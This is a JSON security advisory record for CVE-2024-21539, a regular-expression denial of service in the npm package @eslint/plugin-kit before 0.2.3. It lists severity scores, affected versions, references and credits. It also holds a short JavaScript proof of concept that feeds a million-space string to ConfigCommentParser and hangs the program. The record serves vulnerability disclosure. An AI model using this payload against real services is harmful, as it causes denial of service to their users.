{"id":"CVE-2024-21539","aliases":["CVE-2024-21539","GHSA-7q7g-4xm8-89cq"],"related":[],"kind":"vulnerability","state":"published","title":"Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit","summary":"Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Versions of the package @eslint/plugin-kit before 0.2.3 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by exploiting this vulnerability.","source":"cvelist"},{"lang":"en","text":"Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i < 1000000; i++) {\n  str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Las versiones del paquete @eslint/plugin-kit anteriores a la 0.2.3 son vulnerables a la denegación de servicio por expresión regular (ReDoS) debido a una desinfección de entrada incorrecta. Un atacante puede aumentar el uso de la CPU y bloquear el programa al explotar esta vulnerabilidad.","source":"nvd"}],"published":"2024-11-15T20:47:31.000Z","modified":"2026-09-10T03:50:20.453Z","severity":{"scorer":"snyk","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"snyk","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","score":8.7,"rating":"HIGH"},{"scorer":"snyk","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L","score":3.5,"rating":"LOW"}],"cwes":["CWE-770","CWE-1333"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"0.2.3","status":"affected"}],"product":"@eslint/plugin-kit","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"0.2.3","status":"affected"}],"vendor":"eslint","product":"rewrite","cpe":"cpe:2.3:a:eslint:rewrite:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.2.3"}],"ecosystem":"npm","package":"@eslint/plugin-kit","purl":"pkg:npm/%40eslint/plugin-kit","source":"ghsa"}],"references":[{"url":"https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-21539","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/eslint/rewrite","tags":["package"],"sources":["ghsa"]}],"credits":["Rongchen Li"],"assigner":"snyk","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2024-11-19T14:44:47.714Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-21539","url":"https://www.cve.org/CVERecord?id=CVE-2024-21539","licence":"CVE Terms of Use","modified":"2026-08-18T15:25:17.315Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7q7g-4xm8-89cq","url":"https://github.com/advisories/GHSA-7q7g-4xm8-89cq","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:20.453Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-21539","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-21539","licence":"Public domain","modified":"2026-08-03T16:16:26.043Z"}],"updatedAt":"2026-11-25T22:58:48.423Z","epss":{"score":0.00507,"percentile":0.44837,"date":"2026-12-01T12:00:22.000Z"}}